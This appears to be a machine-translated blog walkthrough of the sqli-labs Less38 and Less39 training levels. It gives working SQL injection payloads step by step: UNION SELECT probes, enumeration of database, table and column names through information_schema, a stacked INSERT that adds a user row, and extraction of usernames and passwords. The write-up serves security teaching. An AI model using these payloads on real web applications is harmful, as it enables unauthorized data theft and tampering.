当前位置:网站首页>(manual) [sqli labs38, 39] stack injection, error echo, character / number type
(manual) [sqli labs38, 39] stack injection, error echo, character / number type
2022-07-27 20:30:00 【Black zone (rise)】
Catalog
Two 、( manual )SQL Basic steps of injection :
3、 ... and 、Less38(GET-Stacked Query Injection - String)
3.1、 brief introduction :( Stack Injection - Error echo - Character injection )
3.2、 First step : Injection point test
3.3、 The second step : Analysis and filtering
3.4、 The third step : Determine the number of fields / Echo position
3.6、 Step five : Name of Pop Watch
3.8、 Step seven : Stack Injection accounts
Four 、Less39(GET-Stacked Query Injection - Intiger based)
4.1、 brief introduction :( Stack Injection - Error echo - Digital injection )
One 、 recommend :
【SQL Inject 】 Stack Injection
https://blog.csdn.net/qq_53079406/article/details/125798787?spm=1001.2014.3001.5501【SQL Inject 】 Digital injection & Character injection
https://blog.csdn.net/qq_53079406/article/details/125741101?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165786402616781435435338%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165786402616781435435338&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-125741101-null-null.185^v2^control&utm_term=%E6%95%B0%E5%AD%97%E5%9E%8B&spm=1018.2226.3001.4450
Two 、( manual )SQL Basic steps of injection :
First step : Injection point test
The second step : Analyze permissions
The third step : Determine the number of fields
Step four : Burst database name
Step five : Name of Pop Watch
Step six : Pop field name
Step seven : Stack Injection accounts
Step eight : Inquire about
3、 ... and 、Less38(GET-Stacked Query Injection - String)
3.1、 brief introduction :( Stack Injection - Error echo - Character injection )
Request method :GET
Method : Stack Injection + closed ( Character injection )+ Error echo
3.2、 First step : Injection point test
Input ?id=1
An error is reported when a single quotation mark is added
?id=1'--+
Echo normal , The description is closed in single quotation marks
The character type is
3.3、 The second step : Analysis and filtering
Method 1 :
Consider replacing the injected statement characters one by one step , Until there is no error ( A waste of time )
Or replace them all ( If you make a mistake , I don't know where it is filtered )
Method 2 :
Get the source code for white box audit ( The optimal )
3.4、 The third step : Determine the number of fields / Echo position
?id=1' union select 1,2,3 --+
Echo normal
?id=1' union select 1,2,3,4 --+
Report errors
The number of description fields is 3
Determine the echo position
?id=-1' union select 1,2,3 --+
3.5、 Step four : Warehouse
?id=-1' union select 1,2,database() --+
3.6、 Step five : Name of Pop Watch
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
3.7、 Step six : Pop field
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
3.8、 Step seven : Stack Injection accounts
?id=1';insert into users(id,username,password) values ('38','less38','at38')--+
3.9、 Step eight : Burst data
?id=-1' union select 1,2,group_concat(username,password) from security.users--+
We can see the data we injected
Four 、Less39(GET-Stacked Query Injection - Intiger based)
4.1、 brief introduction :( Stack Injection - Error echo - Digital injection )
Request method :GET
Method : Stack Injection + closed ( Digital injection )+ Error echo + The joint query
4.2、 utilize :
And Less38 equally
Is to change from character type to number type
That is, there is no need to close
边栏推荐
- 我也是醉了,Eureka 延迟注册还有这个坑
- PyQt5快速开发与实战 4.3 QLabel and 4.4 文本框类控件
- JD: search product API by keyword
- C语言pow函数(c语言中指数函数怎么打)
- Leetcode exercise 2 - sum of two numbers
- Huawei's mobile phone shipments exceed Apple's, ranking second in the world, but it faces a large amount of inventory that needs to be cleaned up
- 汇顶科技:收购恩智浦VAS业务已完成交割
- Passive income: return to the original and safe two ways to earn
- Western digital mobile hard disk can't be read (the idiom of peace of mind)
- 发布2年后涨价100美元,Meta Quest 2的逆生长
猜你喜欢

MLX90640 红外热成像仪测温传感器模块开发笔记(七)

Check the internship salary of Internet companies: with it, you can also enter the factory

OA项目之我的审批(查询&会议签字)

'vite' is not an internal or external command, nor is it a runnable program or batch file

图解LeetCode——剑指 Offer II 115. 重建序列(难度:中等)

《安富莱嵌入式周报》第275期:2022.07.18--2022.07.24

You can understand it at a glance, eslint

Understand the wonderful use of dowanward API, and easily grasp kubernetes environment variables

Graphic leetcode - Sword finger offer II 115. reconstruction sequence (difficulty: medium)

Product Manager: check where there is an error prompt of "system exception" on the offline
随机推荐
Pytorch multiplication and broadcasting mechanism
为什么需要第三方支付?
Source code analysis of Chang'an chain data storage
uva1421
PyQt5快速开发与实战 4.3 QLabel and 4.4 文本框类控件
京东:按关键字搜索商品 API
Under the epidemic, I left my job for a year, and my income increased 10 times
ES6 deleting attributes of objects_ ES6 delete an element "suggested collection" in the object
Konka semiconductor's first storage master chip was mass produced and shipped, with the first batch of 100000 chips
Session attack
CONDA common commands
Clickhouse implements materializedpostgresql
antdv: Each record in table should have a unique `key` prop,or set `rowKey` to an unique primary key
C language -- array
DP (dynamic programming)
[map set]
JS jump to the page and refresh (jump to this page)
Western digital mobile hard disk can't be read (the idiom of peace of mind)
JD: get the raw data API of commodity details
Data warehouse construction - DWD floor
https://blog.csdn.net/qq_53079406/article/details/125798787?spm=1001.2014.3001.5501








